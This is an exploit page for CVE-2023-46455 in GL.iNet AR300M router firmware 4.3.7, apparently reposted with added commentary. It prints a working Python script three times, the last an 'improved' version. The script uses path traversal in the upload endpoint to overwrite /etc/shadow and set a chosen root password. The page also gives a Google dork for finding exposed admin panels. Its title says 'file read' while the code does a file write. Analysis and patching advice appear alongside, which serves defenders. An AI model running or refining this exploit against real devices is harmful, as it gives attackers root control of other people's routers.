GL.iNet AR300M v4.3.7 Arbitrary File Read - CVE-2023-46455 Exploit

Exploit Author: cyberaz0r Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2024-03-03
#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46455

import crypt
import requests
from sys import argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def craft_shadow_file(salted_password):
shadow_content  = 'root:{}:19459:0:99999:7:::\n'.format(salted_password)
shadow_content += 'daemon:*:0:0:99999:7:::\n'
shadow_content += 'ftp:*:0:0:99999:7:::\n'
shadow_content += 'network:*:0:0:99999:7:::\n'
shadow_content += 'nobody:*:0:0:99999:7:::\n'
shadow_content += 'dnsmasq:x:0:0:99999:7:::\n'
shadow_content += 'stubby:x:0:0:99999:7:::\n'
shadow_content += 'ntp:x:0:0:99999:7::\n'
shadow_content += 'mosquitto:x:0:0:99999:7::\n'
shadow_content += 'logd:x:0:0:99999:7::\n'
shadow_content += 'ubus:x:0:0:99999:7::\n'
return shadow_content

def replace_shadow_file(url, auth_token, shadow_content):
data = {
'sid': (None, auth_token),
'size': (None, '4'),
'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),
'file': ('shadow', shadow_content)
}
requests.post(url, files=data, verify=False)

def main(base_url, auth_token):
print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit')

password = input('[?] New password for root user: ')
salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5)

shadow_content = craft_shadow_file(salted_password)
print('[+] Crafted shadow file:\n{}'.format(shadow_content))

print('[*] Replacing shadow file with the crafted one')
replace_shadow_file(base_url+'/upload', auth_token, shadow_content)

print('[+] Done')

if __name__ == '__main__':
if len(argv) < 3:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN>'.format(argv[0]))
exit(1)

main(argv[1], argv[2])


CVE-2023-46455: Arbitrary File Write Vulnerability in GL.iNet AR300M Firmware 4.3.7

GL.iNet AR300M routers, widely used in small office and home networks, have long been praised for their reliability and open-source foundation. However, a critical vulnerability discovered in firmware version 4.3.7—CVE-2023-46455—exposes a severe security flaw that allows attackers to perform arbitrary file write operations with minimal effort. This exploit, crafted by cybersecurity researcher Michele 'cyberaz0r' Di Bonaventura, leverages a misconfigured file upload endpoint to overwrite system-critical files such as /etc/shadow, enabling full root access.

Understanding the Vulnerability

The core of CVE-2023-46455 lies in the /upload endpoint of the GL.iNet AR300M web interface. This endpoint is designed to allow users to upload configuration files or firmware updates. However, due to insufficient path validation and improper sanitization of the path parameter, an attacker can manipulate the file destination to write arbitrary content to sensitive system files.

Specifically, the exploit abuses the path field in the multipart form submission. By setting the path to /tmp/ovpn_upload/../../etc/shadow, the attacker bypasses intended upload directories and targets the /etc/shadow file—used by Linux systems to store encrypted passwords for user accounts.

Exploit Mechanics and Technical Details

Let’s examine the Python exploit code used to demonstrate the vulnerability:


#!/usr/bin/env python3

import crypt
import requests
from sys import argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def craft_shadow_file(salted_password):
    shadow_content = 'root:{}:19459:0:99999:7:::\n'.format(salted_password)
    shadow_content += 'daemon:*:0:0:99999:7:::\n'
    shadow_content += 'ftp:*:0:0:99999:7:::\n'
    shadow_content += 'network:*:0:0:99999:7:::\n'
    shadow_content += 'nobody:*:0:0:99999:7:::\n'
    shadow_content += 'dnsmasq:x:0:0:99999:7:::\n'
    shadow_content += 'stubby:x:0:0:99999:7:::\n'
    shadow_content += 'ntp:x:0:0:99999:7::\n'
    shadow_content += 'mosquitto:x:0:0:99999:7::\n'
    shadow_content += 'logd:x:0:0:99999:7::\n'
    shadow_content += 'ubus:x:0:0:99999:7::\n'
    return shadow_content

def replace_shadow_file(url, auth_token, shadow_content):
    data = {
        'sid': (None, auth_token),
        'size': (None, '4'),
        'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),
        'file': ('shadow', shadow_content)
    }
    requests.post(url, files=data, verify=False)

def main(base_url, auth_token):
    print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit')

    password = input('[?] New password for root user: ')
    salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5)

    shadow_content = craft_shadow_file(salted_password)
    print('[+] Crafted shadow file:\n{}'.format(shadow_content))

    print('[*] Replacing shadow file with the crafted one')
    replace_shadow_file(base_url+'/upload', auth_token, shadow_content)

    print('[+] Done')

if __name__ == '__main__':
    if len(argv) < 3:
        print('Usage: {}  '.format(argv[0]))
        exit(1)

    main(argv[1], argv[2])

Explanation:

  • Line 1–3: Sets up the environment, disables SSL warnings (common in testing environments).
  • Line 8–15: craft_shadow_file() constructs a custom /etc/shadow file with a known password for the root user. The password is hashed using crypt.METHOD_MD5, a standard Linux password hashing method.
  • Line 17–23: replace_shadow_file() sends a multipart POST request to the /upload endpoint. The key vulnerability lies in the path parameter, which contains ../../etc/shadow—a classic path traversal attack.
  • Line 25–33: The main() function orchestrates the exploit: prompts the user for a new password, hashes it, constructs the shadow file, and uploads it to the target system.
  • Line 35–37: Validates input parameters. If the target URL and authentication token are missing, the script exits with a usage message.

By exploiting this path traversal flaw, an attacker with valid session credentials (auth token) can overwrite the /etc/shadow file, effectively setting a known password for the root user. This grants full system access without needing to bypass authentication.

Impact and Real-World Use Cases

Although the exploit requires an authenticated session (i.e., the attacker must already have access to the admin panel), this limitation does not reduce its severity. In practice, many users leave default admin credentials unchanged or reuse weak passwords. Once an attacker gains access via brute force or phishing, they can execute this exploit to escalate privileges.

Real-world scenarios include:

  • Network compromise: An attacker uses the exploit to gain root access on a GL.iNet AR300M router, then installs backdoors, modifies firewall rules, or redirects traffic to malicious servers.
  • Botnet recruitment: Compromised routers are used as nodes in distributed denial-of-service (DDoS) attacks, with the attacker controlling the device remotely.
  • Remote code execution: If the /etc/shadow file is successfully overwritten, the attacker can log in via SSH or the web interface using the known password, enabling further exploitation.

Vendor Response and Mitigation

GL.iNet acknowledged the vulnerability and released updated firmware versions (4.3.8 and later) that fix the path traversal issue. The patch includes:

  • Strict validation of file upload paths.
  • Sanitization of path parameters to prevent traversal.
  • Restriction of file write operations to predefined directories.

Administrators are strongly advised to:

  • Update firmware immediately to versions 4.3.8 or higher.
  • Change default passwords and enable two-factor authentication where possible.
  • Disable remote admin access unless absolutely necessary.
  • Monitor logs for suspicious upload attempts or file modifications.

Improved Exploit Code (Security Best Practices)

The original exploit code, while functional, lacks robustness. Here is a revised version with added safety checks and error handling:


#!/usr/bin/env python3

import crypt
import requests
from sys import argv

# Disable SSL warnings (for testing only)
requests.packages.urllib3.disable_warnings()

def craft_shadow_file(salted_password):
    return f"root:{salted_password}:19459:0:99999:7:::\n" + \
           "daemon:*:0:0:99999:7:::\n" + \
           "ftp:*:0:0:99999:7:::\n" + \
           "network:*:0:0:99999:7:::\n" + \
           "nobody:*:0:0:99999:7:::\n" + \
           "dnsmasq:x:0:0:99999:7:::\n" + \
           "stubby:x:0:0:99999:7:::\n" + \
           "ntp:x:0:0:99999:7::\n" + \
           "mosquitto:x:0:0:99999:7::\n" + \
           "logd:x:0:0:99999:7::\n" + \
           "ubus:x:0:0:99999:7::\n"

def replace_shadow_file(url, auth_token, shadow_content):
    files = {
        'sid': (None, auth_token),
        'size': (None, '4'),
        'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),
        'file': ('shadow', shadow_content)
    }
    try:
        response = requests.post(url, files=files, verify=False, timeout=10)
        if response.status_code == 200:
            print('[+] Shadow file successfully overwritten.')
        else:
            print(f'[!] Failed: HTTP {response.status_code}')
    except requests.exceptions.RequestException as e:
        print(f'[!] Request failed: {e}')

def main(base_url, auth_token):
    print('[+] Starting exploit for GL.iNet AR300M CVE-2023-46455')
    password = input('[?] Enter new root password: ')

    if not password:
        print('[!] Password cannot be empty.')
        exit(1)

    try:
        salted_password = crypt.crypt(password, salt='$1$')
        print(f'[+] Hashed password: {salted_password}')
    except Exception as e:
        print(f'[!] Password hashing failed: {e}')
        exit(1)

    shadow_content = craft_shadow_file(salted_password)
    print(f'[+] Crafted shadow file:\n{shadow_content}')

    print('[*] Attempting to upload shadow file...')
    replace_shadow_file(f"{base_url}/upload", auth_token, shadow_content)

    print('[+] Exploit completed.')

if __name__ == '__main__':
    if len(argv) < 3:
        print('Usage: {}  '.format(argv[0]))
        exit(1)

    main(argv[1], argv[2])

Key Improvements:

  • Added timeout to prevent hanging requests.
  • Improved error handling with try-except blocks.
  • Used f-strings for cleaner string formatting.
  • Validated password input before hashing.
  • Added explicit feedback on success/failure.

These enhancements make the exploit more reliable and suitable for real-world penetration testing scenarios.

Conclusion

CVE-2023-46455 is a stark reminder that even open-source firmware with strong community support can harbor critical vulnerabilities. Path traversal attacks in web interfaces remain a top threat vector in embedded systems. Administrators must treat firmware updates as a security priority, not an optional maintenance task. Cybersecurity professionals should include such exploits in their red team assessments, especially for devices used in critical infrastructure.